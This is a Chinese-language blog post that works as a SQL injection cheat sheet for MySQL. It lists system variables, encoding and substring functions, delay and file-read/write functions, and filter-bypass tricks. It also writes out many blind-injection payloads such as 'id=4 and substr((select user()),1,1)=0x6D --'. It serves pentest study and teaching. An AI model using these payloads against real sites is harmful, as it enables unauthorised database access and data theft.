MYSQL注入函数

系统信息函数

函数说明
USER()获取当前操作句柄的用户名,同SESSION_USER()CURRENT_USER(),有时也用SYSTEM_USER()
DATABASE()获取当前选择的数据库名,同SCHEMA()
VERSION()获取当前版本信息。

常见全局变量

变量说明
@@VERSION返回版本信息
@@HOSTNAME返回安装的计算机名称
@@GLOBAL.VERSION同@@VERSION
@@BASEDIR返回MYSQL绝对路径

常用的内置变量

变量说明
database()当前所在的数据库
user()当前数据库用户和权限
current_user()当前用户名
session_user()连接数据库的用户名
system_user()系统用户名
@@datadir数据文件的存放目录
@@basedir数据库的安装路径
@@version_compile_os宿主系统平台是什么
@@hostname当前机器的机器名,可不是域名哦
null特殊工具,因为它可以匹配任意数据类型,在遍历字段个数时可能会用到
show variables like ‘log_%’;查看日志文件存放位置

PS:查看全部全局变量SHOW GLOBAL VARIABLES;。

进制转换函数

函数说明
ORD(str)返回字符串第一个字符的ASCII值。
OCT(N)以字符串形式返回 N  的八进制数,N  是一个BIGINT 型数值,作用相当于CONV(N,10,8) 。
HEX(N_S)参数为字符串时,返回 N_or_S  的16进制字符串形式,为数字时,返回其16进制数形式。
UNHEX(str)HEX(str)  的逆向函数。将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符。
BIN(N)返回十进制数值 N  的二进制数值的字符串表现形式。
ASCII(str)同ORD(string) 。
CONV(N,from_base,to_base)将数值型参数 N  由初始进制 from_base  转换为目标进制 to_base 的形式并返回。
CHAR(N,… [USING charset_name])将每一个参数 N  都解释为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串。

char是个数据类型,char(),是把一个别的类型数据强转成char类型,比如,char(97)和char(#97)都将得到a

chr(),参数是byte类型,负责把ascii码值转换成char,比如:chr(97)返回一个char类型’a’

ascii(单个字符)

ord(单个字符) 返回指定的ASCII码字符所对应的数值,下面的ord()用法基本也是一致的

replace(字段名,要替换的字符串,准备替换为的字符) 字符串替换,在读取文件时,我们可能需要用到replace()替换一些特殊字符

取整函数

floor() rand() 取整函数和四舍五入函数

hex() unhex() 进制转换函数,16进制转换,导出udf的时候可能会用到

conv(num,from_base,to_base) 经常会用来绕过某些编码过滤

字符截取函数

函数说明
SUBSTR(str,N_start,N_length)对指定字符串进行截取,为SUBSTRING的简单版。
SUBSTRING()多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len) 。
RIGHT(str,len)对指定字符串从最右边 截取指定长度。
LEFT(str,len)对指定字符串从最左边 截取指定长度。
RPAD(str,len,padstr)在 str  右方补齐 len  位的字符串 padstr ,返回新字符串。如果 str  长度大于 len ,则返回值的长度将缩减到 len 所指定的长度。
LPAD(str,len,padstr)与RPAD相似,在str 左边补齐。
MID(str,pos,len)同于 SUBSTRING(str,pos,len) 。
INSERT(str,pos,len,newstr)在原始字符串 str  中,将自左数第 pos  位开始,长度为 len  个字符的字符串替换为新字符串 newstr ,然后返回经过替换后的字符串。INSERT(str,len,1,0x0) 可当做截取函数。
CONCAT(str1,str2…)函数用于将多个字符串合并为一个字符串
[[group_concat]](…)返回一个字符串结果,该结果由分组中的值连接组合而成。
MAKE_SET(bits,str1,str2,…)根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,‘1’,‘710’))。

字符串截取函数

substring(要截取的字符串,从什么地方开始截取,截取多长) 截取指定字符串

substr(要截取的字符串,从什么地方开始截取,截取多长) 具体用法基本同substring()

mid(要截取的字符串,从什么地方开始截取,截取多长) 专有的字符串截取

left(str,3) 左截取

right(str,3) 右截取

字符串截取函数使用:

id=4 and substr((select user()),1,1)=0x6D --

id=4 and substring((select user()),1,1)=0x6D --

id=4 and Left((select user()),1)=0x6D --

id=4 and mid((select user()),1,1)=0x6D --

id=4 and ifnull((substr((select user()),1,1)=0x6D),0) --

id=4 and strcmp((substr((select user()),1,1)=0x6D),1) --

id=4 and ascii(substr((select user()),1,1))=109 --

id=4 and ord(substr((select user()),1,1))=109 --

id=3%2Bascii(substr((select user()),1,1))-108 --

id=4 and 1=(user() regexp 0x5E726F6F5B612D7A5D) -- 0x5E726F6F5B612D7A5D=^roo[a-z]

id=4 and 1=(select 1 from information_schema.tables where table_schema=database() and table_name regexp 0x5E61646D695B612D7A5D limit 0,1)--

id=4 and 1=(select user() like 0x726F25)--

?id=1’ and if(left(database(),1)=‘s’,1,0)--+ 不需要select

字符串比较

strcmp( expr1,expr2 ) // 如果两个字符串是一样则返回0,如果第一个小于第二个则返回 -1
find_in_set( str,strlist ) //如果相同则返回 1不同则返回0

字符串连接函数

concat(str1,str2,str3…) 字符串连接函数 注意,中间只要字符串有一个为空,最后结果也为空

concat_ws(‘指定分隔符’,str1,str2,str3…) 跟concat()稍微不同,它会自动忽略中间的空值,只有分隔符为空,整体才返回空

group_concat(field_name1, field_name2, field_name3…) 其实就是把某个字段下的所有数据全部连接成一个字符串,注意有长度限制,默认1024

字符串填充函数

rpad()

lpad()

其他常用函数/语句

函数/语句说明
LENGTH(str)返回字符串的长度。
PI()返回π的具体数值。
REGEXP “statement”正则匹配数据,返回值为布尔值。
LIKE "statement"匹配数据,%代表任意内容。返回值为布尔值。
RLIKE “statement”与regexp相同。
LOCATE(substr,str,[pos])返回子字符串第一次出现的位置。
POSITION(substr IN str)等同于 LOCATE() 。
LOWER(str)将字符串的大写字母全部转成小写。同:LCASE(str) 。
UPPER(str)将字符串的小写字母全部转成大写。同:UCASE(str) 。
ELT(N,str1,str2,str3,…)与MAKE_SET(bit,str1,str2…) 类似,根据N 返回参数值。
NULLIF(expr1,expr2)若expr1与expr2相同,则返回expr1,否则返回NULL。
CHARSET(str)返回字符串使用的字符集。
DECODE(crypt_str ,pass_str)使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str)。

locate() 返回一个字符串在另一个字符串中第一次出现的位置,可尝试配合上面的字符串截取函数在读取文件时用

length(field_name) 统计某个字段下的某条数据的字符总长度

count(*) 统计某个表下总共有多少条记录,表中存在的数据

lower() upper() 大小写转换

一些绕过注入的罕见函数

instr( str1,substr ) // 从子字符串中返回子串第一次出现的位置
lpad( str,len ,padstr) rpad( str,len, padstr) // 在str的左( 右)两边填充给定的padstr到指定的长度len ,返回填充的结果

常用函数

  • 延时函数

    • sleep()
    • benchmark( 1000000,sha (1))
  • 文件函数

    • load_file //读取文件
    • outfile //写入文件

小技巧

  • 函数名和括号直接可以插入特殊字符 ex

    • concat/**/()

    • information_schema/**/./**/TABLES

    • information_schema%0a.%0aTABLES(%0a是换行符)

  • {identifier expr}

    • select {x 1} from {x test} limit 1;

这些变量不需要用到select来查询,所以再不能使用select,还是可以查询这些变量。

version() 当前数据库详细版本号,注意,针对mysql 4和5的注入方式是完全不一样的

LIMIT函数

LIMIT 5,10; // 检索记录行 6-15

LIMIT 95,-1; // 检索记录行 96-last.   96-结束

LIMIT 5; //检索前 5 个记录行   //换句话说,LIMIT n 等价于 LIMIT 0,n。

name_const(built_name,value)函数

name_const(built_name,value) 只在mysql内部使用

case when end

case when end 相当于sql中的’switch’语句

SELECT CASE

WHEN 1 > 0

THEN ‘1 > 0’

WHEN 2 > 0

THEN ‘2 > 0’

ELSE ‘3 > 0’

END

->1 > 0

()x,把括号内语句别名为 x

![[Pasted image 20201207191402.png]]

join可建立两个表之间的内连接。

select查询的时候,可以利用join来使列数匹配

mysql> select * from test where id=1 union select * from (select 1)a join (select 2)b join (select 3)c;

mid,substr字符串截取无逗号

读取通过from for分页读取,#说明前面一个数字是从第几个开始读取,最后的一个数字是读取的长度。

https://blog.csdn.net/weixin_30719711/article/details/98855643

select * from test where id=1 and mid(‘mysql’ from 1 for 1) = ‘m’;

limit offset的用法和区别:

例1,假设数据库表student存在13条数据。

代码示例:

语句1:select * from student limit 9,4

语句2:slect * from student limit 4 offset 9

// 语句1和2均返回表student的第10、11、12、13行

//语句2中的4表示返回4行,9表示从表的第十行开始

例2,通过limit和offset 或只通过limit可以实现分页功能。

假设 numberperpage 表示每页要显示的条数,pagenumber表示页码,那么 返回第pagenumber页,每页条数为numberperpage的sql语句:

代码示例:

语句3:select * from studnet limit (pagenumber-1)*numberperpage,numberperpage

语句4:select * from student limit numberperpage offset (pagenumber-1)*numberperpage

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值